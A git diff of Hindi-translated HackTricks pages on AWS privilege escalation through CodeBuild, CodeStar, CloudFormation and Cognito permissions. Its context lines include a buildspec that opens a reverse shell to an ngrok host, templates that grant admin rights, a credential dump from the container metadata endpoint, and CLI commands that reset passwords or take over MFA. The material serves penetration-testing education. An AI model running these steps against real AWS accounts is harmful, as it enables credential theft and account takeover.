b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index a803f2a31..80d5daa7e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -एक हमलावर उदाहरण के लिए एक **cloudformation template** का उपयोग कर सकता है जो **keys for an admin** उपयोगकर्ता उत्पन्न करता है जैसे: +एक हमलावर उदाहरण के लिए एक **cloudformation template** का उपयोग कर सकता है जो **keys for an admin** उपयोगकर्ता जैसे उत्पन्न करता है: ```json { "Resources": { @@ -68,7 +68,7 @@ aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ --region uswest-2 ``` -### References +### संदर्भ - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index c8c12beee..a06b5cbb9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -इनमें से केवल एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है: +इनमें से किसी एक अनुमति के साथ एक नया buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,16 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**नोट**: इन दो कमांड के बीच का अंतर यह है: +**नोट**: इन दोनों कमांड के बीच का अंतर यह है: - `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है। -- `StartBuildBatch` आपको निर्माणों के एक बैच को शुरू करने की अनुमति देता है, जिसमें अधिक जटिल कॉन्फ़िगरेशन होते हैं (जैसे कई निर्माणों को समानांतर में चलाना)। +- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)। **संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क। ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकेगा** एक चल रही भूमिका बनाकर। +एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए प्रिविलेज़ बढ़ा सकता है** एक चल रही भूमिका बनाकर। {{#tabs }} {{#tab name="Example1" }} @@ -142,11 +142,11 @@ aws codebuild start-build --project-name reverse-shell-project > [!WARNING] > एक **Codebuild कंटेनर** में फ़ाइल `/codebuild/output/tmp/env.sh` सभी env vars को शामिल करती है जो **metadata credentials** तक पहुँचने के लिए आवश्यक हैं। -> इस फ़ाइल में **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** शामिल है जो **URL पथ** को शामिल करता है जिससे क्रेडेंशियल्स तक पहुँच प्राप्त होती है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> इस फ़ाइल में **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** है जो **URL path** को credentials तक पहुँचने के लिए शामिल करता है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका क्रेडेंशियल्स को डंप करने में सक्षम होंगे। +> इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका के credentials को डंप करने में सक्षम होंगे। -> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी शामिल है जो **कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है। +> इसके अलावा, इसमें **env variable `ECS_CONTAINER_METADATA_URI`** भी है जो **container के बारे में metadata जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है। ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -289,7 +289,7 @@ For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/ ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -एक हमलावर जो एक विशिष्ट CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है। +एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपने `buildspec.yml` फ़ाइल को एक S3 बकेट पर संग्रहीत करता है, जिसमें हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है। Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से भिन्न हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो। ```bash @@ -308,7 +308,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं: +आप **reverse shell** प्राप्त करने के लिए कुछ ऐसा **buildspec** का उपयोग कर सकते हैं: ```yaml:buildspec.yml version: 0.2 @@ -317,13 +317,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका के लिए सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिवेलेज रखती है। +**प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिविलेज़ वृद्धि, जो आमतौर पर उच्च प्रिविलेज़ रखती है। > [!WARNING] -> ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा। +> ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, `buildspec.yml` को रूट निर्देशिका से संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा। -अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं। +अधिक विवरण [यहां](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं। -**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेलेज वृद्धि। +**संभावित प्रभाव:** संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिविलेज़ वृद्धि। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 853c512e4..ebe9d01b5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -12,13 +12,13 @@ ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -कोड पाइपलाइन बनाते समय आप एक **कोडपाइपलाइन IAM भूमिका को चलाने के लिए संकेत कर सकते हैं**, इसलिए आप उन्हें समझौता कर सकते हैं। +कोड पाइपलाइन बनाते समय आप एक **कोडपाइपलाइन IAM भूमिका निर्दिष्ट कर सकते हैं**, इसलिए आप उन्हें समझौता कर सकते हैं। पिछले अनुमतियों के अलावा, आपको **उस स्थान तक पहुंच की आवश्यकता होगी जहां कोड संग्रहीत है** (S3, ECR, github, bitbucket...) -मैंने यह प्रक्रिया वेब पृष्ठ पर करते हुए परीक्षण किया, पहले बताए गए अनुमतियाँ कोडपाइपलाइन बनाने के लिए आवश्यक लिस्ट/गेट नहीं हैं, लेकिन इसे वेब पर बनाने के लिए आपको भी आवश्यकता होगी: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +मैंने यह प्रक्रिया वेब पृष्ठ पर करते हुए परीक्षण किया, पहले निर्दिष्ट अनुमतियाँ कोडपाइपलाइन बनाने के लिए आवश्यक नहीं हैं, लेकिन इसे वेब पर बनाने के लिए आपको भी आवश्यकता होगी: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -**बिल्ड प्रोजेक्ट के निर्माण के दौरान** आप एक **कमांड को चलाने के लिए संकेत कर सकते हैं** (रिव शेल?) और बिल्ड चरण को **विशिष्ट उपयोगकर्ता** के रूप में चलाने के लिए, यही वह कॉन्फ़िगरेशन है जिसकी हमलावर को समझौता करने की आवश्यकता है: +**बिल्ड प्रोजेक्ट** के निर्माण के दौरान आप एक **कमांड निर्दिष्ट कर सकते हैं** (रिव शेल?) और बिल्ड चरण को **विशेषाधिकार प्राप्त उपयोगकर्ता** के रूप में चलाने के लिए, यही वह कॉन्फ़िगरेशन है जिसकी हमलावर को समझौता करने की आवश्यकता है: ![](<../../../images/image (276).png>) @@ -30,7 +30,7 @@ ### `codepipeline:pollforjobs` -[AWS उल्लेख करता है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS का उल्लेख है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): > जब इस API को कॉल किया जाता है, तो CodePipeline **पाइपलाइन के लिए कलाकृतियों को संग्रहीत करने के लिए उपयोग किए जाने वाले S3 बकेट के लिए अस्थायी क्रेडेंशियल लौटाता है**, यदि क्रिया को इनपुट या आउटपुट कलाकृतियों के लिए उस S3 बकेट तक पहुंच की आवश्यकता होती है। यह API भी **क्रिया के लिए परिभाषित किसी भी गुप्त मानों को लौटाता है**। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 0192c7b7a..36eaae2b0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। निम्नलिखित पृष्ठ की जांच करें: +इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। कृपया निम्नलिखित पृष्ठ देखें: {{#ref}} iam-passrole-codestar-createproject.md @@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ --project-role "Owner" \ --remote-access-allowed ``` -यदि आप पहले से ही **प्रोजेक्ट के सदस्य** हैं, तो आप **`codestar:UpdateTeamMember`** अनुमति का उपयोग करके **अपना रोल** मालिक में अपडेट कर सकते हैं, बजाय `codestar:AssociateTeamMember` के। +यदि आप पहले से ही **प्रोजेक्ट के सदस्य** हैं, तो आप अनुमति **`codestar:UpdateTeamMember`** का उपयोग करके **अपनी भूमिका** को मालिक में अपडेट कर सकते हैं, इसके बजाय `codestar:AssociateTeamMember`। **संभावित प्रभाव:** codestar नीति में प्रिवेस्क। आप उस नीति का एक उदाहरण यहाँ पा सकते हैं: @@ -61,10 +61,10 @@ codestar-createproject-codestar-associateteammember.md - सटीक नाम चुने गए टेम्पलेट पर निर्भर करता है (उदाहरण शोषण स्क्रिप्ट का संदर्भ लें)। 3. **पहुँच और अनुमतियाँ:** - अपडेट के बाद, आपको स्टैक से जुड़े **CloudFormation IAM भूमिका** के लिए निर्धारित क्षमताएँ प्राप्त होती हैं। -- नोट: यह स्वाभाविक रूप से पूर्ण व्यवस्थापक विशेषाधिकार प्रदान नहीं करता है। विशेषाधिकारों को और बढ़ाने के लिए वातावरण में अतिरिक्त गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है। +- नोट: यह स्वाभाविक रूप से पूर्ण व्यवस्थापक विशेषाधिकार प्रदान नहीं करता है। विशेषाधिकार बढ़ाने के लिए वातावरण में अतिरिक्त गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है। -अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -आप शोषण को यहाँ पा सकते हैं [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)।\ +आप शोषण को यहाँ पा सकते हैं: [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) **संभावित प्रभाव:** cloudformation IAM भूमिका में प्रिवेस्क। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 28747ff67..5d560e9c4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। +इन अनुमतियों के साथ आप **codestar IAM Role** का **दुरुपयोग** करके **मनमाने कार्य** कर सकते हैं **cloudformation template** के माध्यम से। -इसका लाभ उठाने के लिए, आपको एक **S3 बकेट बनानी होगी जो** हमले वाले खाते से **सुलभ हो**। एक फ़ाइल अपलोड करें जिसका नाम `toolchain.json` हो। इस फ़ाइल में **cloudformation टेम्पलेट का दुरुपयोग** होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि एक प्रबंधित नीति को आपके नियंत्रण में एक उपयोगकर्ता पर सेट किया जा सके और **उसे व्यवस्थापक अनुमतियाँ दी जा सकें**: +इसका लाभ उठाने के लिए आपको एक **S3 बकेट बनानी होगी जो** हमले किए गए खाते से **सुलभ** हो। एक फ़ाइल अपलोड करें जिसका नाम `toolchain.json` हो। इस फ़ाइल में **cloudformation template exploit** होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि एक प्रबंधित नीति को आपके नियंत्रण में एक उपयोगकर्ता पर सेट किया जा सके और **उसे व्यवस्थापक अनुमतियाँ दी जा सकें**: ```json:toolchain.json { "Resources": { @@ -28,13 +28,13 @@ } } ``` -Also **upload** this `empty zip` file to the **bucket**: +इस `empty zip` फ़ाइल को **bucket** में भी **upload** करें: {% file src="../../../../images/empty.zip" %} -याद रखें कि **दोनों फ़ाइलों के साथ बकेट पीड़ित खाते द्वारा सुलभ होना चाहिए**। +याद रखें कि **दोनों फ़ाइलों के साथ bucket पीड़ित खाते द्वारा सुलभ होना चाहिए**। -दोनों चीजें अपलोड करने के बाद, आप अब **exploitation** करते हुए एक **codestar** प्रोजेक्ट बनाने की प्रक्रिया शुरू कर सकते हैं: +दोनों चीजें **upload** करने के बाद, आप अब **exploitation** करते हुए एक **codestar** प्रोजेक्ट बना सकते हैं: ```bash PROJECT_NAME="supercodestar" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index bcc453db9..4bb6b286e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -12,9 +12,9 @@ Cognito के बारे में अधिक जानकारी के ### पहचान पूल से क्रेडेंशियल इकट्ठा करना -चूंकि Cognito **IAM भूमिका क्रेडेंशियल** दोनों **प्रमाणित** और **अप्रमाणित** **उपयोगकर्ताओं** को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का **पहचान पूल आईडी** ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले से कोई क्रेडेंशियल नहीं हो सकता)। +चूंकि Cognito **IAM भूमिका क्रेडेंशियल** को **प्रमाणित** और **अप्रमाणित** **उपयोगकर्ताओं** दोनों को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का **पहचान पूल आईडी** ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले से कोई क्रेडेंशियल नहीं हो सकता)। -अधिक जानकारी के लिए [**इस पृष्ठ को देखें**](../aws-unauthenticated-enum-access/#cognito). +अधिक जानकारी के लिए [**इस पृष्ठ को देखें**](../aws-unauthenticated-enum-access/#cognito)。 **संभावित प्रभाव:** अप्रमाणित उपयोगकर्ताओं से जुड़े सेवाओं की भूमिका पर सीधे प्रिवेस्क (और संभवतः प्रमाणित उपयोगकर्ताओं से जुड़े पर)। @@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` -यदि cognito ऐप **अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता है** तो आपको इसे सक्षम करने के लिए `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है। +यदि cognito ऐप **अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता** है, तो आपको इसे सक्षम करने के लिए `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है। -**संभावित प्रभाव:** किसी भी cognito भूमिका के लिए सीधे privesc। +**संभावित प्रभाव:** किसी भी cognito भूमिका के लिए सीधे प्रिवेस्क। ### `cognito-identity:update-identity-pool` -इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल को अपने नियंत्रण में सेट कर सकता है या किसी अन्य पहचान प्रदाता को जहां वह **इस Cognito पहचान पूल तक पहुँचने के लिए लॉगिन कर सकता है**। फिर, बस उस उपयोगकर्ता प्रदाता पर **लॉगिन** करने से **उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी**। +इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल सेट कर सकता है जो उसके नियंत्रण में है या किसी अन्य पहचान प्रदाता जहां वह **इस Cognito पहचान पूल** तक पहुँचने के लिए लॉगिन कर सकता है। फिर, उस उपयोगकर्ता प्रदाता पर **लॉगिन** करने से **उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी**। ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \ --identity-id \ --logins cognito-idp..amazonaws.com/= ``` -यह अनुमति का **दुरुपयोग करके मूल प्रमाणीकरण की अनुमति देना** भी संभव है: +यह अनुमति का **दुरुपयोग करके बेसिक ऑथ** की अनुमति देना भी संभव है: ```bash aws cognito-identity update-identity-pool \ --identity-pool-id \ @@ -80,7 +80,7 @@ aws cognito-idp admin-add-user-to-group \ --username \ --group-name ``` -**संभावित प्रभाव:** अन्य Cognito समूहों और उपयोगकर्ता पूल समूहों से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क। +**संभावित प्रभाव:** अन्य Cognito समूहों और User Pool Groups से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क। ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` @@ -102,7 +102,7 @@ aws cognito-idp admin-confirm-sign-up \ ### `cognito-idp:AdminCreateUser` -यह अनुमति एक हमलावर को उपयोगकर्ता पूल के भीतर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया जाता है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी। +यह अनुमति एक हमलावर को उपयोगकर्ता पूल के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया जाता है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी। ```bash aws cognito-idp admin-create-user \ --user-pool-id \ @@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \ [--validation-data ] [--temporary-password ] ``` -**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क। +**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका पर सीधे प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क। ### `cognito-idp:AdminEnableUser` @@ -129,7 +129,7 @@ aws cognito-idp admin-enable-user \ ### `cognito-idp:AdminSetUserPassword` -यह अनुमति एक हमलावर को **किसी भी उपयोगकर्ता का पासवर्ड बदलने** की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता (जिसके पास MFA सक्षम नहीं है) का अनुकरण कर सकेगा। +यह अनुमति एक हमलावर को **किसी भी उपयोगकर्ता का पासवर्ड बदलने** की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता का अनुकरण कर सकेगा (जिसके पास MFA सक्षम नहीं है)। ```bash aws cognito-idp admin-set-user-password \ --user-pool-id \ @@ -141,7 +141,7 @@ aws cognito-idp admin-set-user-password \ ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: एक हमलावर इस अनुमति का दुरुपयोग करके एक मोबाइल फोन को **एक उपयोगकर्ता के SMS MFA** के रूप में सेट कर सकता है जो उसके नियंत्रण में है। +**AdminSetUserSettings**: एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक मोबाइल फोन को **एक उपयोगकर्ता के SMS MFA** के रूप में सेट कर सकता है। ```bash aws cognito-idp admin-set-user-settings \ --user-pool-id \ @@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** उपयोगकर्ता पूल को MFA नीति बदलने के लिए अपडेट करना भी संभव है। [यहाँ cli देखें](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)। +**UpdateUserPool:** यह उपयोगकर्ता पूल को MFA नीति को बदलने के लिए अपडेट करना भी संभव है। [यहाँ cli देखें](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)। -**Potential Impact:** अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए जिसे हमलावर क्रेडेंशियल्स जानता है, यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है। +**Potential Impact:** अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए संभावित है, जिसके क्रेडेंशियल्स का हमलावर को पता है, इससे MFA सुरक्षा को बायपास करने की अनुमति मिल सकती है। ### `cognito-idp:AdminUpdateUserAttributes` -इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है जो उसके नियंत्रण में है, ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने की कोशिश की जा सके।\ +इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के नियंत्रण में ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने की कोशिश की जा सके।\ यह एक ईमेल या फोन नंबर को बदलने और इसे सत्यापित के रूप में सेट करने की अनुमति देता है। ```bash aws cognito-idp admin-update-user-attributes \ @@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो Cognito User Pool का उपयोग करता है जो उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है। +**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो कि उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है, Cognito User Pool का उपयोग करके। ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -इस अनुमति के साथ एक हमलावर **एक नया User Pool Client बना सकता है जो पहले से मौजूद पूल क्लाइंट्स की तुलना में कम प्रतिबंधित है।** उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके से प्रमाणीकरण की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है... +इस अनुमति के साथ एक हमलावर **एक नया User Pool Client बना सकता है जो पहले से मौजूद pool clients की तुलना में कम प्रतिबंधित है**। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके को प्रमाणित करने की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है... यदि एक **मौजूदा क्लाइंट को संशोधित किया जाए** तो वही किया जा सकता है। @@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \ --client-name \ [...] ``` -**संभावित प्रभाव:** उपयोगकर्ता पूल द्वारा उपयोग किए जाने वाले पहचान पूल अधिकृत उपयोगकर्ता के लिए संभावित अप्रत्यक्ष प्रिवेस्क, एक नया क्लाइंट बनाकर जो सुरक्षा उपायों को ढीला करता है और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देता है जिसे वह बनाने में सक्षम था। +**संभावित प्रभाव:** संभावित अप्रत्यक्ष प्रिवेस्क को पहचान पूल के अधिकृत उपयोगकर्ता के लिए उपयोगकर्ता पूल द्वारा एक नए क्लाइंट को बनाने के द्वारा सुरक्षा उपायों को ढीला करना और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देना जिसे वह बनाने में सक्षम था। ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` @@ -216,7 +216,7 @@ curl -v -T "PATH_TO_CSV_FILE" \ ``` (यदि आप एक नया आयात कार्य बनाते हैं, तो आपको iam passrole अनुमति की भी आवश्यकता हो सकती है, मैंने इसका परीक्षण नहीं किया है)। -**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM 